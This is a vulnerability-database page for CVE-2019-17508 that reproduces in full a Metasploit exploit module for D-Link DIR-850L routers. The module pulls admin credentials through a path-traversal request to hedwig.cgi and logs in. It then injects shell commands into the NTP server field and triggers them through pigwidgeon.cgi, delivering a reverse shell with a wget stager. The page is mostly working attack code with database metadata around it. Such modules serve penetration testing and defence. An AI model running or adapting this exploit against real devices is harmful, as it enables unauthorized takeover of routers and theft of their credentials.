Lucene search
+L

DIR-850L (Un)authenticated OS Command Exec

🗓️ 09 Aug 2017 00:00:00Reported by Mumbai, ZdendaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

DIR-850L Unauthenticated Command Execution vulnerability used to execute arbitrary commands on routers

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
DEVICE.TIME.php Code Execution
13 Dec 201900:00
–bdu_fstec
circl
Circl
CVE-2019-17508
29 May 201815:50
–circl
cnvd
CNVD
D-Link DIR-859 and DIR-850L Command Injection Vulnerability
12 Oct 201900:00
–cnvd
cve
CVE
CVE-2019-17508
11 Oct 201919:29
–cve
cvelist
Cvelist
CVE-2019-17508
11 Oct 201919:29
–cvelist
nvd
NVD
CVE-2019-17508
11 Oct 201920:15
–nvd
openvas
OpenVAS
D-Link DIR-859 Multiple Vulnerabilities (2019 - 2024)
26 Jun 202500:00
–openvas
osv_cve
osv_cve
CVE-2019-17508
11 Oct 201920:15
–osv_cve
prion
Prion
Command injection
11 Oct 201920:15
–prion
ptsecurity
Positive Technologies
PT-2019-4069
11 Oct 201900:00
–ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
        'Description' => %q{
          This module leverages an unauthenticated credential disclosure
          vulnerability to then execute arbitrary commands on DIR-850L routers
          as an authenticated user. Unable to use Meterpreter payloads.
        },
        'Author' => [
          'Mumbai', # https://github.com/realoriginal (module)
          'Zdenda' # vuln discovery
        ],
        'References' => [
          ['CVE', '2019-17508'],
          ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
        ],
        'DisclosureDate' => '2017-08-09',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_MIPSBE,
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
        },
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [[ 'Automatic', {} ]],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
      })
      if res && res.headers['Server']
        auth = res.headers['Server']
        if auth =~ /DIR-850L/
          if auth =~ /WEBACCESS\/1\.0/
            return Exploit::CheckCode::Safe('The target is not vulnerable')
          else
            return Exploit::CheckCode::Detected('The target service was detected')
          end
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
  # should write an auxiliary module to-do -> WRITE AUXILIARY
  def retrieve_creds
    begin
      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
      xml << "<postxml>\r\n"
      xml << "<module>\r\n"
      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
      xml << "</module>\r\n"
      xml << "</postxml>"
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'headers' => {
          'Accept-Encoding' => 'gzip, deflate',
          'Accept' => '*/*'
        },
        'ctype' => 'text/xml',
        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
        'data' => xml,
      })
      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
        parse = res.get_xml_document
        username = parse.at('//name').text
        password = parse.at('//password').text
        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
        print_good("#{peer} - Downloaded credentials to #{loot}")
        return username, password
      else
        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def retrieve_uid
    begin
      res = send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'GET',
      })
      parse = res.get_json_document
      uid = parse['uid']
      challenge = parse['challenge']
      return uid, challenge
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def login(username, password)
    uid, challenge = retrieve_uid
    begin
      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
      send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'POST',
        'data' => "id=#{username}&password=#{hash}",
        'cookie' => "uid=#{uid}"
      })
      return uid
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def execute_command(cmd, opts)
    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
    payload << "<postxml>\r\n"
    payload << "<module>\r\n"
    payload << "  <service>DEVICE.TIME</service>\r\n"
    payload << "  <device>\r\n"
    payload << "    <time>\r\n"
    payload << "      <ntp>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
    payload << "      </ntp>\r\n"
    payload << "      <ntp6>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "      </ntp6>\r\n"
    payload << "      <timezone>20</timezone>\r\n"
    payload << "      <time/>\r\n"
    payload << "      <date/>\r\n"
    payload << "      <dst>0</dst>\r\n"
    payload << "      <dstmanual/>\r\n"
    payload << "      <dstoffset/>\r\n"
    payload << "    </time>\r\n"
    payload << "  </device>\r\n"
    payload << "</module>\r\n"
    payload << "</postxml>"
    begin
      # save configuration
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => payload,
        'cookie' => "uid=#{uid}"
      })
      # execute configuration
      res = send_request_cgi({
        'uri' => '/pigwidgeon.cgi',
        'method' => 'POST',
        'data' => 'ACTIONS=SETCFG,ACTIVATE',
        'cookie' => "uid=#{uid}"
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
    end
    #
    # Information Retrieval, obtains creds and logs in
    #
    @username, @password = retrieve_creds
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Aug 2017 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
CVSS 210
EPSS0.15838
25